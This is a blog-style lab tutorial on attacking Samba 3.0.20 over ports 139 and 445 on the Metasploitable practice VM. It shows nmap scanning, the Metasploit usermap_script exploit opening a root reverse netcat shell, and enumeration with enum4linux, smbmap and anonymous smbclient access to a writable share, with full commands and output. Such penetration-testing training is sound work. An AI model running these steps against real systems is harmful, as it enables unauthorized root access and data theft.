Hi Buddy, in this article I want to explain how to exploit port 139 445 or 139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP) in a metasploitable vulnerable machine in a virtualbox version 1, 2 and 3 and this technic support all future version also.
Before exploitation we need to understand what is port 139 and port 445 or SMB Protocol (Server Message Block Protocol).
This Exploitation is divided into 5 steps if any step you already done so just skip and jump to direct Step 3 Get Root Access msfconsole.
Step 1 Understand SMB Protocol
SMB is file or data sharing protocol using SMB or port 139 and 445 you are able to share your file or data in your local computer to computer server and when you’re logging using smbclient tool then you also access other user files or data.
We don’t need to deeply understand but if port 139 and 445 or SMB open its simple meaning you are able to communicate with a file server just like port 21 FTP but this is an advanced version.
Step 2 nmap Scan for Active Reconnaissance
nmap -T4 -A -p 139,445 198.xx.xxx.xx
Run this command if you don’t know meaning see below i will explain.
- -T4 for (-T<0-5>: Set timing (higher is faster)
- -A for (-A: Enable OS detection, version detection, script scanning, and traceroute)
- -p 139 445 for ( -p : Only scan 139, 445 ports or SMB)
┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ nmap -T4 -A -p 139,445 198.xx.xx.xx
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-01 18:27 IST
Nmap scan report for meta.meta (192.xxx.xx.xxx)
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h31m20s, deviation: 3h32m07s, median: 1m20s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2022-01-01T07:59:21-05:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.12 secondsNmap Result
Port 139, 445 open with smbd vision 3 – 4 and Linux OS.
netbios-ssn Samba smbd 3.X – 4.X 3.0.20-Debian (workgroup: WORKGROUP) http in Linux Operating System.
SMB Version:- SMB 3.0.20 (Samba 3.0.20-Debian)
Step 3 Get Root Access msfconsole
Using Metasploit Get Root Access
Please note SMB or Samba 3.0.20 potentially vulnerable for Command Execution for default users like root admin and guest.
When we ran namp command we know that root admin and guest already this user exist see below.
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
This is an old vulnerability. Using the metasploit framework we are able to get root access.
Use Below Command In Your Linux Terminal
msfconsole
┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ msfconsole
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.1.6-dev ]
+ -- --=[ 2165 exploits - 1148 auxiliary - 368 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and servicessearch Samba 3.0.20
msf6 > search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
use exploit/multi/samba/usermap_script
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
In here you need to just set rhost you need to enter rhost metasploitable vulnerable machine ip address using below command
set rhost 198.xx.xx.xx
msf6 exploit(multi/samba/usermap_script) > set rhost 198.xx.xx.xx
rhost => 198.XX.XX.XX
Then just type run
run
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.xxx.xx.xxx:4444
[*] Command shell session 1 opened (192.xxx.xx.xxx:4444 -> 192.xxx.xx.xxx:40747) at 2022-01-01 19:51:23 +0530
whoami
root
pwd
/
cd /root
ls
Desktop
reset_logs.sh
vnc.log
Know we have Root shell
But in your Example or CTF challenge this type of scenario you will never get.
Then how to enumerate port 139 and 445 netbios-ssn samba smbd computer server.
Step 4 SMB Active Reconnaissance
In our Linux testing machine enum4linux tool is already installed.
How to install enum4linux Tool?
You need to just run below two command in Linux Terminal
sudo apt update
sudo apt install enum4linux
Know you have enum4linux tool for port 139 enumeration.
How to use enum4linux Tool?
enum4linux Tool is very simple but powerful tool you just need enter tool name and your target host name or ip address example (enum4linux 198.xx.xx.xx)
Then run below commands
enum4linux 198.xx.xx.xx
┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ enum4linux 198.xx.xx.xx 1 ⨯
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jan 9 16:57:29 2022
==========================
| Target Information |
==========================
Target ........... 198.xx.xx.xx
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=================================================
| Enumerating Workgroup/Domain on 198.xx.xx.xx |
=================================================
[+] Got domain/workgroup name: WORKGROUP
=========================================
| Nbtstat Information for meta.meta |
=========================================
Looking up status of 198.xx.xx.xx
METASPLOITABLE <00> - B <ACTIVE> Workstation Service
METASPLOITABLE <03> - B <ACTIVE> Messenger Service
METASPLOITABLE <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================
| Session Check on meta.meta |
==================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
Result: WORKGROUP <00> – B Domain/Workgroup Name.
Knou we find successfully WORKGROUP is Workgroup.
I want to recommended one more tool smbmap for smb file enumeration
Smbmap Tool already installed in your testing machine if you are not able to find it then you need to install.
How to install smbmap Tool?
This is also very simple you need to just run below two command
sudo apt update
sudo apt install smbmap
How to use the smbmap tool?
smbmap tool needs host name just use -H for host name example (smbmap -H 198.xx.xx.xx)
see below.
Result:- tmp disk has access READ, WRITE.
┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ smbmap -H 198.xx.xx.xx
[+] IP: 198.xx.xx.xx:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (metasploitable server (Samba 3.0.20-Debian))
Maybe you are not able to see the result in code.
But I had uploaded the output screenshot check below.
Result:- tmp disk has access READ, WRITE.
Only one step is remaining.
Use smbclient tool and access netbios ssn port 445
Step 5 Access SMB Server Using smbclient Tool
Using the smbmap tool we successfully find the tmp directory or folder.
Here is one important thing you need smbclient tool if you don’t have just run below two commands in your Linux terminal.
How To Install smbclient Tool?
Just run below two command
sudo apt-get update
sudo apt-get install smbclient
Now we have a smbclient tool.
If you use this tool for the first time you might be a little bit confused when you see the below command.
smbclient \\198.xx.xx.xxx\tmp
Know we have tmp directory access see below
┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ smbclient //198.xx.xxx.xx/tmp
Enter WORKGROUP\root's password: just type enter
Anonymous login successful
Try "help" to get a list of possible commands.
If you don’t know smb command just type help
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
more mput newer notify open
posix posix_encrypt posix_open posix_mkdir posix_rmdir
posix_unlink posix_whoami print prompt put
pwd q queue quit readlink
rd recurse reget rename reput
rm rmdir showacls setea setmode
scopy stat symlink tar tarmode
timeout translate unlock volume vuid
wdel logon listconnect showconnect tcon
tdis tid utimes logoff ..
!
Using the get command you can download anything on your local pc and Using put command you are able to upload anything to the target host.
Know here I want to give to you simple challenge for check your knowledge.
Decode Root Massage Just Click below link.
I Am Root?
Conclusion
- Only msfconsole or metaspoit are not good for port 139.
- In our example we will never get this type of scenario so we need to learn about enum4linux sabmap and smbclient tools.
- Practice make perfect so practice one metasploitable 2 machine as well as online CTF.
Other Metasploitable Vulnerable Machine Article:-
How to Exploit Port 23?
How to Exploit Port 80?
How to Exploit Port 512, 513 and 514?
How to Exploit Port 1099?
How to Exploit Port 5900?